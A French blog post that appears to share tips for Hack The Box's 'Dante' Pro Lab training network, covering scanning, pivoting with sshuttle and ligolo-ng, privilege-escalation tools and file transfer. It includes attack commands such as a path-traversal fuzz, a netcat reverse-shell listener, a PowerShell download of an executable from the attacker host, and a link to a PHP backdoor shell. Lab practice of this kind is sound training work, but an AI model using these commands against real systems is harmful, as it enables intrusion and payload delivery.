02 Mar

Dante Pro Lab. – DANTE{tRuCs_&_@stuc3s}

Serez-vous le nouveau flingueur ?

Introduction

Un nouvel article sur la plateforme « Hack The Box » que j’affectionne tout particulièrement 🙂

J’ai profité des soldes de Noël dernier pour souscrire à un abonnement « Pro Lab. » et éviter de payer les frais d’installation. Le coût mensuel était 23 euros TTC « uniquement », et seulement deux mois d’abonnement pour compléter le Lab. « Dante« .

Sans prétention, cet article a pour but de guider un peu celles et ceux qui veulent se lancer dans l’aventure ou qui ont déjà commencé. Attention : Il ne s’agit pas d’un guide complet avec chacune des étapes, tous les drapeaux à découvrir, toutes les techniques etc… plutôt quelques conseils, des outils à utiliser, sur ma méthodologie etc…

Choix du Lab. Pro « Dante »

Sur https://app.hackthebox.com/ j’ai pu atteindre modestement le rang « Pro Hacker » avec une soixantaine de machines à mon actif depuis juin 2019. En majorité des VM de niveau « facile » et « intermédiaire » (3/4) sur Linux et Windows + quelques machines difficiles et challenges.

J’avais d’abord pensé à me présenter pour l’examen OSCP pendant un temps. Mais avec sa durée de 24 heures, je ne veux pas me lancer sans une bonne préparation car cela semble assez intense. Et j’aime bien réussir mes examens du premier coup.

Je voulais donc d’abord m’exercer sur un « vrai » Lab. représentatif de ce qui pourrait m’attendre et sans devoir payer trop cher pour cela. Mon but était de le faire en 2 mois à temps perdu, objectif atteint.

En comparant les différents Lab. proposés sur le site et en parcourant les forum, je me suis dit que Dante serait une bonne porte d’entrée. Et surtout un excellent terrain pour pratiquer sans se ruiner et abordable techniquement, je ne me suis pas trompé.

Présentation du Lab.

Dante comporte réellement 13 machines (le pare-feu est hors scope) : 7 VM Linux et 6 VM Windows.

Il est classé comme « intermédiaire » au niveau de la difficulté, j’estime que cela correspond effectivement : connaissance réseautique, diversités des plateformes/systèmes, technologies et outils variées etc…

Jusqu’à quatre tunnels seront nécessaires pour atteindre l’ensemble des machines. Autant vous dire que l’art du « pivot » ou déplacement latéral prend tout son sens ici !

Le Lab. est réinitialisé automatiquement tous les jours vers 07h00 (UTC) du matin.

Un point important : gardez à l’esprit que vous ne serez pas tout seul dans le Lab. Ce qui implique que des « petits malins » peuvent effacer des données ou les modifier (très rare tout de même, une seule fois dans mon cas en deux mois, sur un drapeau). Mais surtout, vous ne serez pas seul à lancer des scans à tout va, ce qui parfois rend instable le Lab. Il faut savoir prendre une pause quand cela n’aboutit pas et se poser les bonnes questions, un tunnel peut être défaillant sur le chemin, ou bien ICMP est bloqué par un pare-feu etc…

Outils utilisés

OS

Au niveau de l’OS j’ai utilisé kali-linux-2023-W03-vmware-amd64 via VMware Workstation 17 Player. Très stable durant toute mon utilisation et déjà bien fourni en termes d’outils. J’ai pu faire 100% du Lab. avec.

Scan / découverte réseau

j’ai utilisé mon propre outil au départ : MassVulScan

Sinon, le classique Nmap fera des merveilles. Pensez à utiliser les scripts pour la recherche de vulnérabilité ou faire de l’énumération d’utilisateurs par exemple :

nmap -p88 -Pn --script krb5-enum-users --script-args krb5-enum-users.realm='"DOMAIN.ADM"',userdb="'/home/kali/HTB/ProLabs/Dante/all_users.txt'" 10.10.2.5
nmap -Pn -p445 --script smb-vuln-* SERVER-DC03

J’utilise toujours l’option « -Pn » histoire de ne rien rater. Et toujours un seul host à la fois.

Pour UDP (moins pertinent pour ce Lab.), vous avez ce script Perl : udp-proto-scanner

perl udp-proto-scanner/udp-proto-scanner.pl 10.10.2.0/24

Pour la découverte réseau, vous avez aussi nbtscan qui est fort utile pour obtenir des informations NetBIOS sur un environnement Windows :

nbtscan -l 10.10.1.0/24

Et n’oubliez pas les entrées ARP aussi :

arp -na
arp -a

Ou carrément arp-scan mais cela nécessite « un peu » de compilation :

arp-scan -l

Quand le ping passait j’utilisais fping pour scanner un sous-réseau complet :

fping -a -g -s -q 10.10.2.0/24

Pivoting / Tunneling

Deux outils essentiels à connaître : SSHUTTLE et LIGOLO-NG

Oubliez tout le reste, sincèrement. Dans mon cas, j’utilisais SSHUTTLE en premier puis LIGOLO-NG pour les autres tunnels (stabilité, performance) :

SSHUTTLE :

sudo SSH_AUTH_SOCK="$SSH_AUTH_SOCK" sshuttle --method=tproxy --disable-ipv6 --exclude 10.10.10.3 -e "ssh -i id_rsa_root" -r root@10.10.10.3 10.10.1.0/24

LIGOLO-NG :

sudo ./proxy -selfcert
./agent(.exe) -connect 10.10.14.209:11601 -ignore-cert

Une fois l’agent connecté, il faut lister les sessions (session + [ENTER]) depuis Kali, sélectionner celle que l’on veut activer (choisir le numéro ou utiliser les flèches de direction + [ENTER]) et la démarrer (start + [ENTER]). Sans cela, pas de routage possible. Et il sera nécessaire de « switcher » les tunnels pour atteindre les autres réseaux après les premiers pivots (répondre « yes« ).

Comme indiqué lors de la présentation, les connexions ou tunnels ne sont pas toujours stables et parfois ICMP était bloqué. Du coup, j’avais une fenêtre qui était ouverte en permanence vers le host que j’attaquais sur le port concerné, ou vers un agent, avec un check en continue, comme ceci :

Ex. d’un test de port TCP en continue vers un host

Voici le script si cela vous intéresse, je m’en sers d’ailleurs régulièrement, fort utile :

#!/bin/bash

host=$1
port=$2
bold_color="\033[1m"
end_color="\033[0m"

if [ -z $host ] || [ -z $port ]; then
    echo -e "${bold_color}Usage: `basename $0` [HOST] [PORT] (only compatible with TCP)${end_color}"
    exit 1
fi

while :; do
    result=`nc -z -v -w 1 $host $port > /dev/null 2>&1`
    if [ $? -gt 0 ]; then
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;31mclosed or down\033[0m for host $host"
        sleep 0.5
    else
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;32mopen\033[0m for host $host"
        sleep 0.5
    fi
done

Buffer Overflow (BOF)

L’outil GDB-PEDA était suffisant, par contre j’ai dû l’installer à partir du dépôt GitHub : https://github.com/longld/peda

En effet, je voulais pouvoir travailler confortablement depuis ma VM Kali sans avoir de déconnexions intempestives. Il faut juste arriver à se mettre dans les mêmes conditions que le serveur à attaquer.

Surveillance des processus

Là aussi, un seul outil que je recommande (Linux) : pspy

Il suffit de le lancer et d’attendre un peu.

Recherche de vulnérabilités

Depuis un serveur Windows ou Linux j’ai utilisé le même outil : https://github.com/carlospolop/PEASS-ng

Sinon, vous avez la base de données exploit-DB et leur outil searchsploit :

searchsploit MS17-010
searchsploit -m 41891

Metasploit

L’incontournable, même si je voulais limiter son utilisation, il m’a été utile plusieurs fois (tester des couples « utilisateurs/mots de passe », obtenir un Shell avec privilèges etc…) : https://www.kali.org/tools/metasploit-framework/

Gardez en tête qu’il est parfois utile de changer de contexte de processus pour aller plus loin.

Shell / Reverse Shell

Une seule source très complète sur les possibilités : https://gtfobins.github.io/

Dans le cas du Reverse Shell, je vous conseille d’utiliser ce que l’on appelle un « wrapper » associé à Netcat pour plus de confort côté Kali. Par exemple : rlwrap

rlwrap nc -nlvp 1337

Exemple de Shell PHP minimaliste sinon : https://github.com/backdoorhub/shell-backdoor-list/blob/master/shell/php/mini.php

Et une version compilé Windows de Netcat : https://github.com/cyberisltd/NcatPortable

Windows

Deux outils à connaître, de véritables « couteaux suisses« , pour s’attaquer à un serveur Windows : CrackMapExec et Impacket

Que ce soit pour faire de l’énumération (version d’OS un serveur, version SMB, brute-force/password spraying, hashdump etc…) ou tout simplement pour réaliser une attaque (Kerberos, SQL etc…). Tout y est.

Répertoires et fichiers d’un serveur Web

Pour l’énumération ou la recherche de fichiers/répertoires, deux outils suivant ce que l’on cherche : Wfuzz et Feroxbuster

Idem, limiter le nombre de threads en parallèle.

wfuzz -c -w /home/kali/HTB/ProLabs/Dante/list.txt --hw 0 'http://10.10.1.10/page1.php?page=../../../../../../../../var/www/html/website/FUZZ'
feroxbuster --url https://www.monsite.com --extract-links --insecure --redirects --wordlist /home/kali/HTB/ProLabs/Dante/list.txt -t 2 --dont-scan https://www.monsite.com/

Mots de passe

Il n’est pas toujours utilise de chercher à casser des mots de passe avec John ou Hashcat, il a d’autres façons de s’en servir.

Et il est rarement nécessaire de faire du brute-force avec de grosses listes pour trouver un mot de passe, et surtout, ne pas trop forcer (nombre de threads simultanés etc…) au risque de passer à côté.

Pour générer sa propre liste de mots avec CeWL par exemple :

cewl -d 2 -m 5 -w words.txt http://10.10.110.3:15000/website/

Copie de fichiers

Suivant l’environnement (Windows ou Linux) vous serez amener à déposer ou transférer des fichiers ou scripts.

Quelques commandes utiles :

python3 -m http.server 80
scp -i id_rsa_bobylapointe script.sh bobylapointe@10.10.2.6:/tmp
*Evil-WinRM PS C:\temp> upload /home/kali/HTB/ProLabs/Dante/script.exe
powershell IWR http://10.10.14.15/script.exe -OutFile script.exe

Articles ou sites

Quelques articles utiles en vrac :

https://ovelny.sh/blog/easy-tunneling-with-sshuttle/

https://kentosec.com/2022/01/13/pivoting-through-internal-networks-with-sshuttle-and-ligolo-ng/

https://blog.yikuo.dev/2020/01/08/GCI2019-BufferOverflow/

https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

https://subscription.packtpub.com/book/networking-and-servers/9781849517423/5/ch05lvl1sec47/privilege-escalation-and-process-migration

https://www.w3schools.com/tags/ref_urlencode.ASP

https://www.base64decode.org/

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Discord

Pour être honnête, je n’ai pu compléter ce Lab. seul qu’à hauteur de 90-95%. Mais les 5-10% restants c’était grâce à la communauté Discord du canal officiel Hack The Box (#prolabs-dante).

PwnKit (CVE-2021-4034)

Une note sur ce CVE : vous verrez cette faille apparaître régulièrement lorsque vous lancerez vos scripts de détection de vulnérabilités. Ne cédez pas à la tentation ! En effet, ce Lab. a été construit en 2020 donc avant sa découverte.

Je vous confirme que cela fonctionne mais testez cette faille une fois le chemin attendu identifié. Même si dans la « vrai vie » un « malotru » ne se gênerait pas et irait au plus efficace, c’est sûr !

Conclusion

Sachez prendre des pauses, je suis parfois resté 2-3 jours bloqués alors que j’avais la réponse sous les yeux. On dit souvent que l’étape d’énumération est l’une des plus importantes, et bien je vous le confirme. Et ne pas aller trop vite, je passais à côté d’un détail qui avait son importance à chaque fois.

Persévérez, faites le maximum avant de céder à la tentation de demander de l’aide. Dans mon cas, je n’ai pas eu le choix pour la partie Buffer Overflow (BOF), c’était une découverte pour moi et je me suis trouvé noyé dans des tas d’articles avant d’avoir les bons.

Pour ce Lab. inutile d’imaginer des attaques complexes. Cela reste un Lab. accessible n’oubliez pas, qui vous permet de tester différents outils, rien d’insurmontable.

Et une dernière chose, n’oubliez pas de tout explorer (codes sources, historique, fichiers cachés etc…), même une fois le serveur compromis durant votre phase d’énumération. Il faut avoir en « tête » une liste type des choses à vérifier systématiquement sur chacune des VM pour ne rien rater.

Voilà, merci pour votre lecture et bon courage ! Et si besoin d’aide, je suis sur Discord ou via ce site.